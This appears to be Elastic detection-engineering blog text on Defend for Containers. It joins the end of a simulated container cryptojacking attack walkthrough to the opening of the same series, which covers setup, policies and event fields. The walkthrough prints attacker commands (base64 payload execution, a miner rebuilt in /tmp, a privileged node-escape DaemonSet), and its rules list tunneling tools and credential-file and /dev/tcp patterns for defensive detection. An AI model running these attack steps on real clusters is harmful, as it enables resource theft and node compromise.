    (process.args regex """.*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}.*""") or
    // gost
    (process.name == "gost" and process.args : ("-L*", "-C*", "-R*")) or
    // ssh
    (process.name == "ssh" and (
     process.args like ("-*R*", "-*L*", "-*D*", "-*w*") and 
     not (process.args == "chmod" or process.args like "*rungencmd*"))
    ) or
    // ssh Tunneling and/or Port Forwarding via SSH option
    (process.name == "ssh" and process.args == "-o" and process.args like~(
      "*ProxyCommand*", "*LocalForward*", "*RemoteForward*",
      "*DynamicForward*", "*Tunnel*", "*GatewayPorts*", 
      "*ExitOnForwardFailure*", "*ProxyCommand*", "*ProxyJump*"
      )
    ) or
    // sshuttle
    (process.name == "sshuttle" and
     process.args in ("-r", "--remote", "-l", "--listen")
    ) or
    // earthworm
    (process.args == "-s" and process.args == "-d" and
     process.args == "rssocks"
    ) or
    // socat
    (process.name == "socat" and
     process.args like~ ("TCP4-LISTEN:*", "SOCKS*")
    ) or
    // chisel
    (process.name like~ "chisel*" and process.args in ("client", "server")) or
    // iodine(d), dnscat, hans, ptunnel-ng, ssf, 3proxy & ngrok 
    (process.name in (
      "iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng",
      "ssf", "3proxy", "ngrok", "wstunnel", "pivotnacci", "frps", 
      "proxychains"
      )
    )
  )
) and container.id like "?*"

There are many tunneling and port forwarding tools available on Linux systems. The umbrella rule displayed above leverages a combination of regex, process names, and process arguments to detect commonly observed tunneling activity.

The detection rule that triggered in this stage is available here:

• Tunneling and/or Port Forwarding Detected via Defend for Containers

Resulting in the following detection alerts upon tunneling and proxy access:

Detecting tunneling is important because it often marks the transition from short-lived compromise to sustained attacker presence. When correlated with earlier stages, it provides strong confirmation of intentional, ongoing abuse rather than opportunistic execution.

Stage 7 – Encoded payload execution

To obscure payload logic, the attacker executes a base64-encoded payload directly via Python:

python3 -c "exec(base64.b64decode('<payload>').decode())"

This technique reduces visibility into the payload itself but introduces distinctive execution characteristics: encoded arguments passed directly to an interpreter in an interactive session.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (process.name in (
    "base64", "base64plain", "base64url", "base64mime", "base64pem",
    "base32", "base16"
    ) and process.args like~ "*-*d*"
  ) or
  (process.name == "xxd" and process.args like~ ("-*r*", "-*p*")) or
  (process.name == "openssl" and process.args == "enc" and
   process.args in ("-d", "-base64", "-a")
  ) or
  (process.name like "python*" and (
    (process.args == "base64" and process.args in ("-d", "-u", "-t")) or
    (process.args == "-c" and process.args like "*base64*" and
     process.args like "*b64decode*")
    )
  ) or
  (process.name like "perl*" and process.args like "*decode_base64*") or
  (process.name like "ruby*" and process.args == "-e" and
   process.args like "*Base64.decode64*"
  )
) and container.id like "?*"

There are many ways to decode a payload, but the umbrella rule shown above captures the most commonly observed techniques.

The detection rules that triggered in this stage are available here:

• Encoded Payload Detected via Defend for Containers
• Suspicious Interpreter Execution Detected via Defend for Containers
• Decoded Payload Piped to Interpreter Detected via Defend for Containers

Resulting in the following detection alerts upon execution:

Stage 8 – Miner deployment and execution

Eventually, the attacker reconstructs a miner from base64, writes it to disk, makes it executable, and launches it:

/bin/sh -c "printf IyEvYmlu<<TRUNCATED>>>***** >> /tmp/miner.b64"
/bin/sh -c "base64 -d /tmp/miner.b64 > /tmp/miner && chmod +x /tmp/miner && rm /tmp/miner.b64"

This stage represents the shift from setup to monetization. The attacker is now actively abusing cluster resources.

As mentioned previously, D4C will detect decoding of the base64 payload using the same rule linked in the previous stage. Three other signals that are important to detect are the creation of a base64 encoded payload, file permission changes in specific directories, and execution of newly created binaries in temporary directories.

For the creation of base64 encoded payloads, an umbrella rule was created that detects the execution of a shell with echo/printf built-ins, and a whitelist of commonly abused command lines:

process where event.type == "start" and event.action == "exec" and 
process.interactive == true and process.name in (
  "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"
) and process.args == "-c" and process.args like ("*echo *", "*printf *") and 
process.args like (
  "*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*",
  "*/etc/update-motd.d*", "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", 
  "*base32 *", "*base16 *", "*/etc/profile*", "*/dev/shm/*", "*/etc/ssh*", 
  "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*xxd *", "*/etc/shadow*",
  "* /tmp/*", "* /var/tmp/*", "* /dev/shm/* ", "* ~/*", "* /home/*",
  "* /run/*", "* /var/run/*", "*|*sh", "*|*python*", "*|*php*", "*|*perl*",
  "*|*busybox*", "*/var/www/*", "*>*", "*;*", "*chmod *", "*rm *" 
) and container.id like "?*"

Especially for interactive processes, the following detection rule is a high signal.

The second piece of the flow relates to the file permission changes. Not all file permission changes are malicious, but detecting file permission changes to executable files in world-writeable directories via an interactive process within a container is not expected to occur frequently.

any where event.category in ("file", "process") and
event.type in ("change", "creation", "start") and (
  process.name == "chmod" or
  (
    /*
    account for tools that execute utilities as a subprocess,
    in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod"
    )
  )
) and process.args in ("4755", "755", "777", "0777", "444", "+x", "a+x") and
container.id like "?*"

Note that we leverage the file and process event categories here. The reason for this is that D4C captures these changes through file events if set specifically in the policy, but by default will capture these process executions when set to detect execve calls.

The final piece of this chain relates to the execution of binaries in world-writeable locations. Most container runtimes will not execute payloads from these directories.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  process.executable like (
    "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/*", "/var/run/*",
    "/mnt/*", "/media/*", "/boot/*"
  ) or
  // Hidden process execution
  process.name like ".*"
) and container.id like "?*"

Note that the rule also captures hidden process executions. This is a technique commonly observed by threat actors as well, as they may attempt to evade detection by marking processes as hidden.

The detection rules that triggered in this stage are available here:

• File Execution Permission Modification Detected via Defend for Containers
• Suspicious Echo or Printf Execution Detected via Defend for Containers
• Suspicious Process Execution Detected via Defend for Containers

Resulting in the following detection alerts upon miner deployment and execution:

Stage 9 – Escalation to Node Control

Once the attacker has a foothold inside a container and access to an overprivileged service account, the next step is to abuse the Kubernetes control plane itself. This stage moves the attack beyond a single container and into cluster-wide impact. This activity is detected via Kubernetes audit logs. The Kubernetes audit log rules surfaced by this intrusion fall into three distinct patterns.

Stage 9.1 – Reconnaissance & API Abuse

The attacker's kube.py script uses the stolen service account token to enumerate pods, secrets, and nodes across all namespaces. From Kubernetes' perspective, this looks like a single identity making a burst of API calls across multiple resource types, a pattern that maps directly to permission enumeration detection logic. The use of Python's urllib rather than kubectl is also unusual as an API client.

The detection rules that triggered in this stage are available here:

• Kubernetes Potential Endpoint Permission Enumeration Attempt Detected
• Direct Interactive Kubernetes API Request by Unusual Utilities

Resulting in the following detection alerts upon reconnaissance and API abuse:

Stage 9.2 – Privilege Escalation & Workload Manipulation

With enumeration complete, the attacker creates a privileged DaemonSet (system-monitor) and relies on the overprivileged ClusterRole that was bound to the compromised service account. Both the workload creation and the role that enabled it are flagged: the DaemonSet as a sensitive workload modification, and the ClusterRole binding as a sensitive role granting broad permissions, including pods/exec, secret access, and DaemonSet creation.

The detection rules that triggered in this stage are available here:

• Unusual Kubernetes Sensitive Workload Modification
• Kubernetes Creation or Modification of Sensitive Role

Resulting in the following detection alerts upon privilege escalation and workload manipulation:

Stage 9.3 – Node-Level Escape

The DaemonSet's pod spec is designed to break every isolation boundary a container normally provides. It requests privileged mode, attaches to the host network and PID namespace, and mounts the node's root filesystem. Each of these properties triggers a separate detection rule, and together they paint a clear picture of a container workload engineered for node escape.

The detection rules that triggered in this stage are available here:

• Kubernetes Pod Created with a Sensitive hostPath Volume
• Kubernetes Privileged Pod Created
• Kubernetes Pod Created With HostNetwork
• Kubernetes Pod Created With HostPID

Resulting in the following detection alerts upon node-level escape:

These three sub-stages also highlight a key boundary in container-focused detection. While D4C excels at observing what happens inside containers, identifying how and why those containers were created requires Kubernetes control-plane telemetry. In a follow-up “Kubernetes Detection Engineering” series, we will focus on correlating D4C runtime events with Kubernetes Audit logs to detect multi-stage attacks that span workload creation, privilege escalation, and node-level impact.

For anyone already familiar with Kubernetes audit logs or interested in learning more about them, we have several prebuilt detection rules available that leverage the Kubernetes audit log framework in our GitHub detection-rules repository.

Stage 10 – Web Server Exploitation via React2Shell

In addition to exploiting compromised containers and Kubernetes control paths, TeamPCP also leverages direct web server exploitation to gain shell access on exposed services. One of the techniques referenced in related campaigns is React2Shell, where vulnerable web applications are abused to achieve remote command execution and drop into an interactive shell.

The attacker’s objective here is straightforward: expand access beyond Kubernetes workloads and increase the number of entry points into the environment. Web-facing services are often less strictly isolated than containers and can provide a fast path to host-level compromise if left unpatched.

From a detection standpoint, this activity is already well covered. Elastic provides an umbrella web server exploitation detection that flags suspicious command execution patterns originating from web server processes. In addition, multiple host-based Linux detections identify post-exploitation behavior following successful web shell access, such as unexpected shell execution, command interpreters launched by web services, and follow-on tooling execution.

Detecting this stage is important because it represents an alternative ingress path that bypasses container-specific defenses entirely. When correlated with earlier D4C detections, React2Shell-style exploitation helps confirm that the attacker is actively pursuing multiple avenues of access, increasing both blast radius and persistence potential.

The detection rule that triggered in this stage is available here:

• Web Server Exploitation Detected via Defend for Containers

Resulting in the following detection alerts upon web server exploitation:

What makes this scenario effective as a detection exercise is that every major objective of the attacker (execution, persistence, propagation, and monetization) manifests as runtime behavior inside containers. D4C's ability to observe that behavior in context allows detection engineers to follow the attack as it unfolds, rather than discovering it only after the damage is done.

Tying It All Together with Attack Discovery

Running individual detection rules across container runtime and Kubernetes audit telemetry produces dozens of alerts, each highlighting a single suspicious action in isolation. A defender reviewing these one by one would see a privileged pod here, a curl | bash there, and a burst of API enumeration somewhere else. The challenge is not generating alerts; it is recognizing that these 130+ signals are all part of the same operation.

This is where Attack Discovery comes in. Attack Discovery is Elastic's generative AI capability that ingests a set of alerts and automatically correlates them into coherent attack narratives. Rather than forcing an analyst to manually pivot between individual alerts, it identifies which signals belong together and maps them to the MITRE ATT&CK framework, producing a single, readable summary of what happened.

When pointed at the alerts generated by this simulation, Attack Discovery correctly reconstructed the full TeamPCP kill chain as a “Container Cryptojacking Attack Chain”. The summary identified:

• Initial Access: Web server exploitation on the victim node, where busybox spawned from python3.11 and executed reconnaissance commands (id, whoami, uname -a, cat /etc/passwd)
• Privilege Escalation: The system:serviceaccount:kube-system:daemon-set-controller is creating highly privileged pods with HostPID, HostNetwork, privileged mode, and sensitive hostPath volume mounts
• Defense Evasion: Competitor cryptominer cleanup via pkill -9 xmrig and pkill -9 XMRig, alongside base64-encoded Python payloads
• Tool Staging: Runtime package installation (apk, curl, bash, python3) and malicious script download via curl from the simulated C2 server
• C2 Infrastructure: Deployment of tunneling tools gost and frpc under /opt/teampcp, with a SOCKS5 proxy listening on port 1081
• Impact: A decoded and staged /tmp/miner binary: the cryptojacking objective

The attack chain visualization maps the correlated alerts across the full MITRE ATT&CK kill chain, from Initial Access through to Impact, with confirmed activity in Execution, Privilege Escalation, Defense Evasion, Discovery, and Command & Control.

This is the payoff of combining D4C runtime telemetry with Kubernetes audit logs. Neither data source alone would produce this picture: container runtime sees the curl | bash, the gost process, and the miner binary, while the audit logs capture the DaemonSet creation, the RBAC abuse, and the API enumeration. Attack Discovery fuses both into a single narrative that a SOC analyst can act on immediately, without manually stitching together alerts across different indices and timeframes.

Conclusion

Across this attack chain, we observed a consistent pattern. Interactive execution within containers led to environment discovery, lateral movement via Kubernetes APIs, attempts at persistence in locations inconsistent with container design, installation of runtime tooling, tunneling activity, reconstruction of encoded payloads, and, finally, resource monetization. Each objective produced distinct runtime signals.

Defend for Containers’ value lies in surfacing these signals with the container and orchestration context attached. Process lineage, capability metadata, interactive execution flags, file modification telemetry, and container identity together allow detections to move beyond simple command matching and instead reason about intent and impact.

This scenario also highlights an important architectural boundary. While D4C provides deep runtime visibility inside containers, certain escalation steps, such as privileged workload creation or control-plane manipulation, require Kubernetes audit log telemetry for full visibility. Effective cloud-native detection, therefore, depends on combining runtime and control-plane data sources.

In the next phase of this series, we will extend this model beyond the container boundary and explore Kubernetes control-plane detection engineering, correlating audit logs with D4C runtime events to detect multi-stage attacks that span workloads, nodes, and the cluster itself.

Linux systems remain a critical foundation for modern infrastructure, particularly in cloud-native environments where containers and orchestration platforms are the norm. As workloads move from long-lived hosts to ephemeral containers, attacker tradecraft shifts as well. Activity that once left persistent artifacts on disk is increasingly confined to short-lived, runtime behavior that can be difficult to capture using traditional log sources.

Detection engineering in these environments, therefore, depends heavily on runtime visibility. Understanding how processes execute inside containers, how files are accessed, and how workloads interact with the host becomes more important than relying on static indicators or post-incident artifacts.

Elastic provides several Linux-focused telemetry sources to support this type of detection work. In earlier posts in this series, we focused on host-level visibility using Auditd and Auditd Manager, showing how low-level system events can be translated into high-fidelity detections. In this post, the focus shifts to Elastic’s Defend for Containers: a runtime security integration built specifically for containerized Linux workloads.

The goal of this article is not to document every Defend for Containers feature, but to provide a practical starting point for detection engineers: what data the integration produces and how to reason about that data. In the next part, we will look into how it can be applied to realistic container attack scenarios.

Streamlined visibility with Defend for Containers

We are excited to announce the arrival of Defend for Containers in the 9.3.0 release. This integration brings a streamlined approach to container security, offering a strong foundation for visibility in cloud-native infrastructures. Users can leverage a suite of detection rules tailored to defend against modern Kubernetes threats and container-specific vulnerabilities. The arrival of Defend for Containers is accompanied by a container-specific detection ruleset, designed around realistic container and Kubernetes threat models.

At the time of writing, the Defend for Containers ruleset provides baseline coverage for common container attack techniques, including reconnaissance activity, credential access attempts, kubelet attacks, service account token abuse, interactive process execution, file creation and modification, interpreter abuse, encoded payload execution, tooling installation, tunneling behavior, and multiple privilege escalation vectors. Importantly, all existing container- and Kubernetes-specific detection rules have been made compatible with Defend for Containers, allowing previously host-centric logic to operate directly on container runtime telemetry.

This makes Defend for Containers a practical and immediately usable data source for Linux detection engineers focused on behavior-driven runtime detection. The remainder of this post focuses on how that telemetry looks in practice and how it can be applied to real-world container attack scenarios.

Introduction to Defend for Containers

Defend for Containers is a runtime security integration that provides visibility into Linux containers as they execute. Instead of relying on static image scanning or post-execution logs, it focuses on observing container behavior in real time.

At a high level, Defend for Containers captures security-relevant runtime events from running containers, such as process execution and file access. These events are enriched with container and orchestration context and shipped into Elasticsearch, where they can be analyzed and used as input for detection rules.

From a detection engineering perspective, Defend for Containers sits at the intersection of traditional Linux behavior and the container context. Processes, syscalls, and file activity remain core signals, but they are now scoped to containers, namespaces, and workloads that may only exist briefly.

Defend for Containers is deployed as part of the Elastic Agent and integrates directly with Elastic Security. Once enabled, it provides a dedicated stream of container runtime events that can be queried using KQL or ES|QL, or consumed directly by detection analytics. This allows detection engineers to apply familiar analysis techniques while accounting for the operational realities of cloud-native workloads.

In the sections that follow, we will examine Defend for Containers events in more detail and walk through several container attack scenarios to illustrate how this data can be used in practice.

Defend for Containers setup

Before you can take advantage of Defend for Containers' runtime visibility and analytics, you need to deploy the integration and configure a policy that defines which events to observe and what actions to take when matching activity is encountered. More information about the integration and its setup can be found here. At a high level, this setup consists of:

1. Deploying the Defend for Containers integration via Elastic Agent in your Kubernetes environment.
2. Configuring or customizing the Defend for Containers policy, which consists of selectors that define which operations to match and responses that define what actions to take.
3. Validating and refining the policy based on observed workload behavior.

Deployment methods

Defend for Containers is delivered as an Elastic Agent integration and relies on Elastic Agent to collect and forward container runtime telemetry into your Elastic Stack. For Kubernetes workloads, you install the integration via the Elastic Security UI and then enroll agents on your cluster nodes.

The basic deployment flow is:

In the Elastic Security UI, navigate to Fleet and create a new Agent Policy (or add the integration to an existing one). Once the Agent Policy is created, we can add the “Defend for Containers” integration to the policy.

Give the integration a name and optionally adjust the default selectors and responses (we will look into the available options further down in this publication). Once “Add integration” is selected, a new Agent Policy with the correct integration should be available.

For this demonstration, we will leverage the Kubernetes deployment method. To deploy this policy to a workload, we can navigate to Actions → Add agent → Kubernetes. Here, we see instructions for copying or downloading the Kubernetes manifest.

An important note to be aware of is: “Note that the following manifest contains resource limits that may not be appropriate for a production environment. Review our guide on Scaling Elastic Agent on Kubernetes before deploying this manifest.”

You will need to include the following capabilities under securityContext in your Kubernetes YAML for the service to work:

securityContext:
    runAsUser: 0
    capabilities:
      add:
        - BPF ## Enables both BPF & eBPF
        - PERFMON
        - SYS_RESOURCE

After copying or downloading the provided elastic-agent-managed-kubernetes.yml manifest, you can edit the manifest as needed, and apply the manifest with:

kubectl apply -f elastic-agent-managed-kubernetes.yml

As also mentioned in the manifest, review the guide “Run Elastic Agent on Kubernetes managed by Fleet” for more deployment information.

Wait for the Elastic Agent pods to schedule and for data to begin flowing into Elasticsearch.

Once deployed, Elastic Agent will establish a connection to Fleet, enroll under the selected policy, and begin emitting Defend for Containers telemetry that Elastic Security can consume.

In the next section, we will take a look at the integration configuration options and explore which features are available to use.

Defend for Containers policies

At the heart of Defend for Containers' configuration is the policy. Policies determine what activity to observe and how to respond when matching events occur. Policies are composed of two fundamental building blocks:

• Selectors: define which events are of interest by specifying operations and conditions;
• Responses: define what actions to take when a selector’s conditions are met.

Defend for Containers policies can be edited before deployment or modified post-deployment via the Elastic Security UI’s policy editor.

Policy structure

Each policy must contain at least one selector and at least one response. A typical selector specifies one or more operations (such as process events or file activities) and uses conditions (like container image name, namespace, or pod label) to narrow the scope. Responses reference selectors and indicate what action to take when events match.

The default Defend for Containers policy includes two selector-response pairs: “Threat Detection” and “Drift Detection & Prevention”.

Threat detection: A selector named allProcesses matches all fork and exec events from containers.

And the associated response has the action set to Log, ensuring that events are ingested and can be analyzed.

Drift detection & prevention: A selector named executableChanges matches createExecutable and modifyExecutable operations.

And the response is configured to create alerts (and can be modified to block those operations).

These can be modified via the UI, but under the hood, these policies are simple YAML configuration files that can be easily modified and used in any CI|CD flows:

process:
  selectors:
    - name: allProcesses
      operation:
        - fork
        - exec
  responses:
    - match:
        - allProcesses
      actions:
        - log
file:
  selectors:
    - name: executableChanges
      operation:
        - createExecutable
        - modifyExecutable
  responses:
    - match:
        - executableChanges
      actions:
        - alert

Next, we will take a look at some example selectors and responses and discuss the options you have for setting up the integration to your liking.

Example selector snippet

Selectors allow fine-grained matching using conditions on fields such as:

• containerImageFullName: full image names like docker.io/nginx;
• containerImageName: partial image names;
• containerImageTag: specific tags like latest;
• kubernetesClusterId: Kubernetes cluster IDs;
• kubernetesClusterName: Kubernetes cluster names;
• kubernetesNamespace: namespaces where the workload runs;
• kubernetesPodName: pod names, with support for trailing wildcards;
• kubernetesPodLabel: label key/value pairs, with wildcard support.

selectors:
  - name: nodeExports
    file:
      operations:
        - createExecutable
        - modifyExecutable
      containerImageName:
        - "nginx"
      kubernetesNamespace:
        - "prod-*"

In this example, the selector named nodeExports matches file events that create or modify executables within containers whose image names contain “nginx” and whose Kubernetes namespace begins with “prod-”.

Example response snippet

Responses determine what happens when selector conditions are met. Common actions include:

• log: send the event as telemetry for analysis;
• alert: create an alert in Elastic Security;
• block: prevent the operation (for supported types).

responses:
  - name: alertAndBlockNodeExports
    matchSelectors:
      - nodeExports
    actions:
      - alert
      - block

Here, the response named alertAndBlockNodeExports references the previously defined nodeExports selector and will both generate an alert and block the operation.

Wildcards and matching

Selectors in Defend for Containers support trailing wildcards in string-based conditions (such as pod names or image tags). This allows broad matching without enumerating every possible value. For example, a pod selector of backend-* will match all pods whose names begin with backend-, while a label condition such as role:api* matches label values that start with api.

This wildcarding is essential in dynamic environments where workloads scale and shift rapidly.

In addition to simple string matching, Defend for Containers selectors also support path-based wildcard semantics when matching file paths. Consider the following selector example:

- name:
  targetFilePath:
    - /usr/bin/echo
    - /usr/sbin/*
    - /usr/local/**

In this example:

• /usr/bin/echo matches only the echo binary at that exact path.
• /usr/sbin/* matches everything that is a direct child of /usr/sbin.
• /usr/local/** matches everything recursively under /usr/local, including paths such as /usr/local/bin/something.

These distinctions make it possible to precisely scope file-based selectors, balancing coverage and noise. In practice, they allow detection engineers to target specific binaries, entire directories, or deep directory trees, depending on the use case, without resorting to overly permissive rules.

Tying it all together

Up to this point, we have looked at Defend for Containers selectors, wildcard semantics, event types, and how they surface attacker behavior at runtime. The final step is to understand how these pieces come together within a policy to express real detection logic.

Consider the following policy fragment:

file:
  selectors:
    - name: binDirExeMods
      operation:
        - createExecutable
        - modifyExecutable
      targetFilePath:
        - /usr/bin/**
    - name: etcFileChanges
      operation:
        - createFile
        - modifyFile
        - deleteFile
      targetFilePath:
        - /etc/**
    - name: nginx
      containerImageName:
        - nginx

  responses:
    - match:
        - binDirExeMods
        - etcFileChanges
      exclude:
        - nginx
      actions:
        - alert
        - block

This policy defines three selectors. Two selectors (binDirExeMods and etcFileChanges) describe file system activity of interest, while the third selector (nginx) describes a container context to exclude.

The response section ties these selectors together. The selectors listed under match are logically OR’d, meaning that either condition is sufficient to trigger the response. The selector listed under exclude acts as a logical NOT, removing matching events when the container image is nginx.

Read in plain language, the policy expresses the following logic:

If an executable is created or modified anywhere under /usr/bin, or a file is created, modified, or deleted under /etc, and the activity does not originate from an nginx container, then generate an alert and block the action.

In Boolean form, this can be expressed as:

IF (binDirExeMods OR etcFileChanges) AND NOT nginx
→ alert + block

This is where Defend for Containers policies become powerful. Rather than writing complex detection logic in a query language, selectors let you decompose behavior into small, reusable building blocks and then combine them declaratively. By mixing path-based selectors, operation types, container context, and exclusions, you can express nuanced detection logic that remains readable and maintainable.

In practice, this model allows detection engineers to translate threat hypotheses directly into policy logic: what behavior matters, where it occurs, in which workloads, and what should happen when it does.

Policy validation and refinement

Once a policy is deployed, it is critical to validate it against real workload behavior before enabling aggressive responses such as blocking. Policies that are too restrictive can disrupt normal container operations; policies that are too permissive may let unwanted activity go unnoticed.

A recommended workflow is:

1. Deploy the default policy in monitoring mode (e.g., with selectors logging events).
2. Observe the events that appear in Elasticsearch to understand normal workload patterns.
3. Incrementally tighten selectors and responses, moving from log only → alert → block, testing at each stage.
4. Use a staging or test cluster to validate blocking behaviors before applying them in production.

Defend for Containers Beta limitations

As of writing, Defend for Containers is available as a Beta integration, and its current capabilities and platform support reflect that status.

Defend for Containers formally supports Amazon EKS and Google GKE. While the integration can be deployed on Azure AKS, this configuration is not officially supported. In particular, AKS deployments currently lack file event telemetry, which limits detection coverage for file-based attack techniques in those environments.

The current Beta also does not capture network events. As a result, detections related to outbound connections, lateral network movement, or data exfiltration must rely on complementary data sources, such as the Network Packet Capture integration or Packetbeat integrations, rather than on Defend for Containers telemetry alone.

For file activity, Defend for Containers intentionally logs file open events only when opened with write intent. This design choice reduces noise and focuses on behavior that modifies the system state. However, it also means that read-only access to sensitive files, such as secret discovery, configuration scraping, or failed access attempts, is not currently observable.

This limitation impacts detection use cases such as:

• Searching and reading Kubernetes service account tokens,
• Scanning for .env files or credential material.

These are areas where future Defend for Containers iterations may provide more granular telemetry to support advanced detection engineering use cases.

Enabling the Defend for Containers pre-built detection rules

Defend for Containers ships with a set of pre-built detection rules that provide baseline coverage for common container attack techniques. Once the integration is enabled, these rules can be activated directly from Elastic Security without additional configuration.

Enabling the pre-built rules is recommended as a starting point, as they are designed to align with Defend for Containers' runtime telemetry and cover execution, file modification, persistence, and post-compromise behavior inside containers. From there, the rules can be extended or refined to match environment-specific workloads and threat models.

By filtering for “Data Source: Elastic Defend for Containers”, you can find all rules associated with this integration.

Note: if you do not see any rules pop up, make sure your stack is running version 9.3.0, as these rules are deployed only on 9.3.0+.

With all important Beta limitations mapped, the integration deployed, the pre-built detection rules installed and enabled, and a working policy in place, the next step is to explore the event semantics Defend for Containers produces, including fields commonly used in detection logic, performance considerations, and how these events differ from Elastic Defend events.

Analyzing Defend for Containers events

Now that Defend for Containers is deployed and policies are in place, the next step is understanding the events it generates. Similar to working with Elastic Defend or Auditd Manager, Defend for Containers telemetry becomes far more valuable once you develop a mental model of how events are structured and which fields are most relevant for detection engineering.

Defend for Containers produces multiple event types, most notably process events and file events, each enriched with container, host, and orchestration context. While the underlying signals remain rooted in Linux behavior, the additional Kubernetes and container metadata enable you to reason about activity in ways not possible with host-only telemetry.

The following sections walk through the most important field groups and event types, using real Defend for Containers events as reference points.

Common fields

Before diving into specific event categories, it is useful to understand the fields that consistently appear across Defend for Containers telemetry. These fields provide the contextual glue that ties individual runtime actions back to policies, selectors, and the underlying execution points inside the kernel.

While process and file events differ in their details, the fields described below are present across Defend for Containers data streams and are often the first place to look when validating detections or troubleshooting policy behavior.

Defend for Containers-specific context

Defend for Containers adds several fields specific to how events are collected and policies are applied.

The cloud_defend.hook_point field indicates where in the kernel the event was captured. In the example shown, values such as tracepoint__sched_process_fork and tracepoint__sched_process_exec reveal that the event was generated from kernel tracepoints associated with process creation and execution.

The cloud_defend.matched_selectors field shows which selectors in the active policy matched the event. In the example, the value allProcesses indicates that this event matched a broad selector that captures all process activity. When tuning policies or investigating alerts, this field is essential for understanding why an event was captured.

The cloud_defend.package_policy_id and cloud_defend.package_policy_revision fields tie the event back to a specific Elastic Agent policy and its revision. This makes it possible to correlate events with configuration changes over time and to verify which version of a policy was active when the event occurred.

Event metadata

Defend for Containers events follow the Elastic Common Schema conventions and include standard event metadata that describes the activity's type and lifecycle.

The event.category field identifies the high-level type of activity, such as process or file, and is typically the first field used when filtering Defend for Containers data. The event.action field describes what occurred, for example, fork or exec for process activity, or open, creation, modification, and deletion for file events.

The event.type field adds lifecycle context, such as start for process execution, and is often used together with event.action to distinguish different phases of activity. The event.dataset field indicates the originating Defend for Containers data stream, such as cloud_defend.process, which is useful when building dataset-scoped queries or detections.

Additional metadata fields like event.id, event.ingested, and event.kind are primarily used for correlation, ordering, and troubleshooting rather than detection logic.

Host information

Defend for Containers events include full host context, similar to Elastic Defend and Auditd Manager. This makes it possible to correlate container runtime activity back to the underlying Kubernetes node.

The host.name field identifies the node on which the container is running, while host.os.* provides operating system details such as distribution and kernel version. The host.architecture field indicates the CPU architecture, which can be relevant when analyzing binary execution or kernel-specific behavior.

One particularly useful field is host.pid_ns_ino, which identifies the PID namespace. This field allows container activity to be correlated with host-level process and kernel telemetry, and is especially valuable when investigating container escape attempts or node-level impact.

This host context is critical when analyzing cloud-native attacks, as multiple containers often share the same host and kernel, and a container's runtime behavior can have implications beyond its boundaries.

Container and orchestrator context

Defend for Containers' primary strength lies in its container awareness. Every runtime event is enriched with container and orchestration metadata, allowing activity to be analyzed in the context of what is running, where it is running, and with which privileges.

At the container level, fields such as container.id and container.name uniquely identify the running container, while container.image.name, container.image.tag, and the image hash provide visibility into the workload’s origin and version. This is especially useful for distinguishing between expected utility images and unexpected or ad hoc workloads.

A key field for risk assessment is container.security_context.privileged. This field explicitly indicates whether a container is running in privileged mode. When privileged execution is combined with other signals such as interactive shells or broad Linux capabilities, the risk profile of any detected activity increases significantly.

Defend for Containers also enriches events with orchestration context. Fields such as orchestrator.cluster.name, orchestrator.namespace, and orchestrator.resource.name (typically the Pod name) tie runtime behavior back to Kubernetes workloads. Labels exposed via orchestrator.resource.label further allow detections to incorporate workload intent and ownership.

For detection engineering, this context enables precise scoping of detections to:

• specific namespaces (for example, kube-system),
• privileged or high-risk containers,
• workloads with sensitive labels,
• or known utility images such as netshoot, kubectl, or curl.

This layer of enrichment allows container-aware detection logic to be expressed directly, without having to infer intent indirectly from filesystem paths, cgroups, or namespace identifiers.

Process events

Process execution is one of the most important signal types that Defend for Containers provides. Process events capture fork, exec, and end activities within containers and expose detailed lineage information critical to understanding how execution unfolds at runtime.

Several fields are particularly important for detection engineering. The combination of process.name and process.executable identifies what was executed and from where, while process.args provides insight into how it was invoked. Fields such as process.pid, process.start, process.end, and process.exit_code describe the process lifecycle and are useful for timing analysis and execution-flow reconstruction. The process.entity_id provides a stable identifier that allows processes to be tracked across multiple related events.

Defend for Containers also captures rich ancestry information. Fields under process.parent.* describe the immediate parent process, making it possible to detect suspicious parent–child relationships such as shells spawned by unexpected binaries. In addition, process.entry_leader.* and process.session_leader.* provide higher-level anchors within the process tree.

Much like Elastic Defend, Defend for Containers models processes as a graph rather than isolated events. The entry leader is especially useful in container environments, as it often represents the initial process launched by the container runtime (for example, containerd, runc, or a shell specified as the container entrypoint). Anchoring detections to the entry leader allows process trees to be interpreted consistently, even when containers spawn many short-lived child processes.

Session leader fields provide additional context about interactive execution and session boundaries, helping distinguish background services from interactive or attacker-driven activity.

Together, these fields make it possible to express detection logic that goes beyond single executions and instead reasons about execution chains, lineage, and intent, which is essential for detecting real-world container attack techniques.

Capabilities and privilege context

One of the more powerful aspects of the Defend for Containers process events is the inclusion of Linux capability information. For each process, Defend for Containers exposes both the effective and permitted capability sets via:

• process.thread.capabilities.effective
• process.thread.capabilities.permitted

These fields describe what a process is actually allowed to do at runtime, independent of its user ID or container boundary.

In privileged containers, processes often expose a broad set of effective capabilities, including highly sensitive ones such as CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_SYS_PTRACE, CAP_SYS_RAWIO, and CAP_BPF. The presence of these capabilities significantly changes the risk profile of any executed command, as they enable actions that can directly impact the host kernel or other workloads.

From a detection engineering perspective, this context is critical. It allows detections to move beyond simple process-name matching and instead reason about impact. The same binary execution can have vastly different implications depending on whether it runs with a minimal capability set or with near-host-level privileges.

In practice, capability data enables detection engineers to:

• Identify suspicious tooling executed inside overly permissive containers.
• Correlate runtime behavior with dangerous capability combinations.
• Prioritize alerts based on actual exploitation potential rather than surface-level activity.

This becomes especially relevant to container breakout research, where the presence or absence of specific capabilities often determines whether an exploit is viable.

Interactive execution

